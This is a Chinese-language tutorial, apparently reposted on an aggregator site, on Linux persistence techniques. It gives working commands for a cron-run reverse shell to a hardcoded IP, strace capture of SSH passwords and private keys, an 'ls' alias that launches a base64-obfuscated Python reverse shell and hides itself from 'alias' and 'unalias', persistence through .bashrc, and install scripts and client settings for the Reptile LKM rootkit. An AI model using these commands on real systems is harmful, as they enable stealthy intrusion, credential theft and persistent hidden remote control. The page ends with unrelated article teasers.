145-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

参考 【权限维持】Linux&Rootkit后门&Strace监控&Alias别名&Cron定时任务_alias ls='alerts(){ ls $* --color=auto;python -c "-CSDN博客

参考 FlowUs 息流 - 新一代生产力工具

权限维持-Linux-定时任务-Cron后门

利用系统的定时任务功能进行反弹Shell

1、编辑后门反弹shell脚本

vim /etc/.xiaodi.sh

内容:

#!/bin/bash

bash -i >& /dev/tcp/47.94.236.117/3333 0>&1

chmod +x /etc/.xiaodi.sh

2、添加定时任务

vim /etc/crontab

*/1 * * * * root /etc/.xiaodi.sh #表示每分钟执行一次

这个定时任务用的是直接修改 /etc/crontab的方式,这个文件会对所有的用户生效,同时使用crontab命令是看不到的,如果是使用crontab -e的方式添加的任务使用crontab -l是看得到的,不过也有隐藏此任务的方式

可以看看 https://www.cnblogs.com/awake1t/p/14498443.html

不过此方式也是对于-l 命令的隐藏和对于直接查看任务记录文件,还是可以通过 -A参数查看

权限维持-Linux-监控功能-Strace后门

strace是一个动态跟踪工具,它可以跟踪系统调用的执行。

我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围

1、记录sshd明文

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

查看

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

输入第一条命令后再使用ssh进行登录然后使用第二条命令进行查看可以看到命令明文密码,同时此密码被保存在了/tmp/.ssh.log中

2、记录sshd私钥

记录

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

查看

grep 'PRIVATE KEY' /tmp/.sshd.log

此方法也是同样的可以用来记录ssh登录的私钥保存到文件中。

 

权限维持-Linux-命令自定义-Alias后门

alias命令的功能:为命令设置别名

定义:alias ls='ls -al'

删除:unalias ls

每次输入ls命令的时候都能实现ls -al

不过此命令修改后重启就失效了,可以通过修改启动项文件实现维持

1、简单:

这种直接反弹shell的方式再执行了替换后的命令后会因为建立了链接从而卡住。

alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.236.117/3333 0>&1; };alerts'

2、升级:

其实就是换了个反弹shell的命令,用的python去执行的,相当于重新使用python起了了一个链接所以shell界面不会卡住,中间这一段base64编码的内容就是反弹shell的代码,记得修改监听的ip和端口再编码使用。如果可以使用python我想php应该也是可以的(只使用第一段代码,后面两个是用来持久化的)

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDcuOTQuMjM2LjExNyIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'





alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

3、持久化+隐藏:重启依旧生效

vim /etc/upload # 这个文件中放置上面升级版的全部内容

vim ~/.bashrc #此文件相当于是Windows的启动项文件,修改这个文件使得达到持久化的目的。不过阿里云服务器不可以修改这个文件,可能是有保护机制。

if [ -f /etc/upload ]; then

. /etc/upload

fi

 

权限维持-Linux-内核加载LKM-Rootkit后门

现在常用的linux维持权限的方法大多用crontab和开机自启动,同时使用的大多是msf 或者其它的tcp连接来反弹shell ,这种做法比较容易被管理员发现。所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。

主要还是常见的反弹shell的链接太过明显,查看链接就可以看到奇怪的链接一下就发现了,通过内核级的rootkit可以实现隐藏进程隐藏链接实现真正的隐藏。

项目地址: https://github.com/f0rb1dd3n/Reptile

自动化脚本搭建

保存为sh文件

Centos系统脚本

$kernel=uname -r
centos
yum -y install perl vim gcc make g++ unzip
#由于Cenots内核管理不便,所以使用下载对应版本的kernel-devel到本地
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x ./setup.sh     # Reptile-2.0/这个是目录,需要自定义根据自己的情况,文件即是从项目地址下载的
./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
47.94.236.117 
4444
1
EOF
# 监听的ip还有端口这里也要修改s3cr3t和reptile是连接的账号和密码,后面会用到

ubuntu系统脚本

apt-get install vim gcc make g++ unzip -y
apt-get -y install linux-headers-$(uname -r)
cd Reptile-2.0/ && chmod +x ./setup.sh
./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
47.94.236.117
4444
1
EOF

用脚本进行安装的那个Reptile-2.0/不会删除,为了隐藏可以手动删除文件夹。

如果要手动安装也是用项目中的setup.sh执行就可以了

我这里使用的本地的centos7可以使用项目的setup.sh直接进行安装不用使用脚本,我估计是需要安装的一些命令没有所以才会报错的或者环境变量的问题。

这里的666端口是占用靶机本地的端口和远程进行通信

1、使用参考:

https://github.com/f0rb1dd3n/Reptile/wiki

1、隐藏进程:

/reptile/reptile_cmd hide

显示进程:

/reptile/reptile_cmd show

创建一个ping的进程

nohup ping 114.114.114.114 &

查看进程

ps -ef | grep ping | grep -v grep

使用命令隐藏进程

/reptile/reptile_cmd hide 6278

再次查看进程

ps -ef | grep ping | grep -v grep

让他再显示出来

/reptile/reptile_cmd show 6278

2、隐藏连接:

/reptile/reptile_cmd udp hide

显示连接:

/reptile/reptile_cmd tcp show

netstat -anpt | grep 100.100.45.106 #这里假如建立了一个与100.100.45.106的通信的tcp连接

/reptile/reptile_cmd tcp 100.100.45.106 5555 hide #隐藏tcp协议的,目的地址是100.100.45.106目的端口是5555的进程

3、隐藏文件:

文件名中带reptile的都会被隐藏

mkdir reptile_dreamer292

mkdir reptile_file

ls -al

cd reptile_dreamer292

 

2、高级玩法

客户端安装

./setup.sh client #我的kali算是比较新的版本安装时报了错后面看脚本去排查发现需要apt install libreadline-dev 安装一个这个即可,其实是缺了一些库

cd bin

./client #即可进入客户端

设置连接配置(有些类似msf,命令区分大小写)

set LHOST 192.168.152.56 #Local host to receive the shell

set LPORT 4444 #Local port to receive the shell

set SRCHOST 192.168.152.56 #Source host on magic packets (spoof)

set SRCPORT 666 #Source port on magic packets (only for TCP/UDP) (这里就是前面设置的占用靶机的端口)

set RHOST 192.168.152.62 #Remote host

set RPORT 22 #Remote port (only for TCP/UDP)(伪装的端口,相当于进程注入)

set PROT tcp #Protocol to send magic packet (ICMP/TCP/UDP)(协议类型)

set PASS s3cr3t #Backdoor password (optional)(前面定义的密码)

set TOKEN hax0r #Token to trigger the shell(前面定义的账号)

设置好后直接开run

连接成功

进入shell

并且在靶机那边是看不到任何的链接的情况的

已经算是一个c2了,好恐怖的rootkit,太强了。

rootkit的查杀是最麻烦的一种,因为根本不知道他都对内核修改了什么东西,一旦中了rootkit基本就是寄了所以防范的方法只有在植入rootkit之前进行拦截。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/873485.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

用Unity2D制作一个人物,实现移动、跳起、人物静止和动起来时的动画:中(人物移动、跳起、静止动作)

上回我们学到创建一个地形和一个人物&#xff0c;今天我们实现一下人物实现移动和跳起&#xff0c;依次点击&#xff0c;我们准备创建一个C#文件 创建好我们点击进去&#xff0c;就会跳转到我们的Vision Studio&#xff0c;然后输入这些代码 using UnityEngine;public class M…

java基础概念21-权限修饰符、代码块

一、权限修饰符 1-1、作用 权限修饰符&#xff0c;是用来控制一个成员能够被访问的范围的。 可以修饰&#xff1a;成员变量&#xff0c;方法&#xff0c;构造方法&#xff0c;内部类。 1-2、权限修饰符的分类 二、代码块 局部代码块构造代码块静态代码块 2-1、局部代码块 …

IM即时通讯,稳定可靠的即时通讯服务-WorkPlus

在现代企业日常工作中&#xff0c;即时通讯已成为了一种不可或缺的沟通工具。为了满足企业对稳定可靠的即时通讯服务的需求&#xff0c;WorkPlus提供了一款优秀的IM即时通讯平台&#xff0c;以满足企业高效沟通和协作的要求。本文将深入探讨IM即时通讯服务的重要性以及WorkPlus…

navigator.mediaDevices.getUserMedia检查用户的摄像头是否可用,虚拟摄像头问题

在Web开发中&#xff0c;检查用户的摄像头是否可用是一个常见的需求&#xff0c;尤其是在需要视频聊天或录制视频的应用程序中。navigator.mediaDevices.getUserMedia() API 提供了这一功能&#xff0c;它允许你请求访问用户的媒体设备&#xff0c;如摄像头和麦克风。虽然这个A…

数据结构基础详解(C语言): 树与二叉树的应用_哈夫曼树与哈夫曼曼编码_并查集_二叉排序树_平衡二叉树

文章目录 树与二叉树的应用1.哈夫曼树与哈夫曼曼编码1.1 带权路径长度1.2 哈夫曼树1.2.1 哈夫曼树的构造1.3 哈夫曼编码 2.并查集2.1 并查集的三要素2.1.1 并查集的逻辑结构2.1.2 并查集的存储结构 2.2 并查集的优化2.2.1 初步优化&#xff08;并操作优化&#xff09;2.2.2 终极…

【优选算法】---前缀和

前缀和 一、【模板】一维前缀和二、【模板】二维前缀和三、寻找数组的中心下标四、除自身以外数组的乘积五、和为K子数组六、和可被 K 整除的子数组七、连续数组八、矩阵区域和 一、【模板】一维前缀和 一维前缀和&#xff0c;链接 1、预处理出来一个前缀和数组 注意&#xf…

消息中间件 --Kafka

一、 Kafka 1.kafka介绍 Kafka 是一个分布式流媒体平台,类似于消息队列或企业消息传递系统。 生产者发送消息&#xff0c;多个消费者只能有一个消费者接收到消息 生产者发送消息&#xff0c;多个消费者都可以接收到消息 producer&#xff1a;发布消息的对象称之为主题生产者…

时序数据库 IoTDB 为什么选择 TPCx-IoT 基准测评?

IoTDB 在 TPCx-IoT 榜单的 What 与 Why 解答&#xff01; 去年&#xff0c;我们发布了 IoTDB 多项性能表现位居国际数据库性能测试排行榜 benchANT&#xff08;Time Series: DevOps&#xff09;第一名的好消息。 刚刚落幕的数据库顶级会议 VLDB 上&#xff0c;我们又收获了一则…

Python QT实现A-star寻路算法

目录 1、界面使用方法 2、注意事项 3、补充说明 用Qt5搭建一个图形化测试寻路算法的测试环境。 1、界面使用方法 设定起点&#xff1a; 鼠标左键双击&#xff0c;设定红色的起点。左键双击设定起点&#xff0c;用红色标记。 设定终点&#xff1a; 鼠标右键双击&#xf…

猴王采集——多多采集必备,关键词,类目整店采集,正在拼爆款截流采集

在日新月异的电商领域&#xff0c;数据就是商战的情报&#xff0c;而精准、高效的数据采集则成为商家们制胜的关键。今天&#xff0c;让我们一同探索一款颠覆传统、引领未来的数据采集工具 一、关键词类目整店采集&#xff1a; “猴王采集”凭借其强大的关键词搜索能力&#…

什么是 TDengine?

TDengine 是一款专为物联网、工业互联网等场景设计并优化的大数据平台&#xff0c;其核心模块是高性能、集群开源、云原生、极简的时序数据库。它能安全高效地将大量设备、数据采集器每天产生的高达 TB 甚至 PB 级的数据进行汇聚、存储、分析和分发&#xff0c;对业务运行状态进…

深入RabbitMQ世界:探索3种队列、4种交换机、7大工作模式及常见概念

文章目录 文章导图RabbitMQ架构及相关概念四大核心概念名词解读 七大工作模式及四大交换机类型0、前置了解-默认交换机DirectExchange1、简单模式(Simple Queue)-默认DirectExchange2、 工作队列模式(Work Queues)-默认DirectExchange3、发布/订阅模式(Publish/Subscribe)-Fano…

探索EasyCVR与AI技术深度融合:视频汇聚平台的新增长点

随着5G、AI、边缘计算、物联网&#xff08;IoT&#xff09;、云计算等技术的快速发展&#xff0c;万物互联已经从概念逐渐转变为现实&#xff0c;AIoT&#xff08;物联网人工智能&#xff09;的新时代正在加速到来。在这一背景下&#xff0c;视频技术作为信息传输和交互的重要手…

简单实用的php全新实物商城系统

免费开源电商系统,提供灵活的扩展特性、高度自动化与智能化、创新的管理模式和强大的自定义模块,让电商用户零成本拥有安全、高效、专业的移动商城。 代码是全新实物商城系统源码版。 代码下载

c++进阶——unordered的封装

嗨喽大家好呀&#xff0c;今天阿鑫给大家带来的是c进阶——unordered的封装&#xff0c;好久不见啦&#xff0c;下面让我们进入本节博客的内容吧&#xff01; c进阶——unordered的封装 unordered系列的基本架构unordered系列迭代器的封装unordered不支持修改keyoperator[]的…

macos系统内置php文件列表 系统自带php卸载方法

在macos系统中, 自带已经安装了php, 根据不同的macos版本php的版本号可能不同, 我们可以通过 which php 命令来查看mac自带的默认php安装路径, 不过注意这个只是php的执行文件路径. 系统自带php文件列表 一下就是macos默认安装的php文件列表. macos 10.15内置PHP文件列表配置…

软件工程-图书管理系统的概要设计

软件概要设计说明书 目录 软件概要设计说明书 一、引言 1.1 编写目的 1.2 背景 1.3 定义 1.3.1特定对象 1.3.2专业术语 1.4 参考资料 二、总体设计 2.1 需求规定 2.1.1信息要求 2.1.2功能要求 2.2 运行环境 2.3 基本概要设计和处理流程 2.4 体系结构设计 2.5 模…

基于微信小程序在线订餐系统

微信小程序在线订餐系统 摘要 随着信息技术在管理上越来越深入而广泛的应用&#xff0c;管理信息系统的实施在技术上已逐步成熟。本文介绍了微信小程序在线订餐系统的开发全过程。通过分析微信小程序在线订餐系统管理的不足&#xff0c;创建了一个计算机管理微信小程序在线订…

【Python基础】Python函数

本文收录于 《Python编程入门》专栏&#xff0c;从零基础开始&#xff0c;分享一些Python编程基础知识&#xff0c;欢迎关注&#xff0c;谢谢&#xff01; 文章目录 一、前言二、函数的定义与调用三、函数参数3.1 位置参数3.2 默认参数3.3 可变数量参数&#xff08;或不定长参数…

Kubernetes 简介及部署方法

目录 一、Kubernetes简介 1 应用部署方式演变 1.2 容器编排应用 1.3 kubernetes 简介 1.4 K8S的设计架构 1.4.1 K8S各个组件用途 1.4.2 K8S 各组件之间的调用关系 1.4.3 K8S 的 常用名词感念 1.4.4 k8S的分层架构 二 K8S集群环境搭建 2.1 k8s中容器的管理方式 2.2 …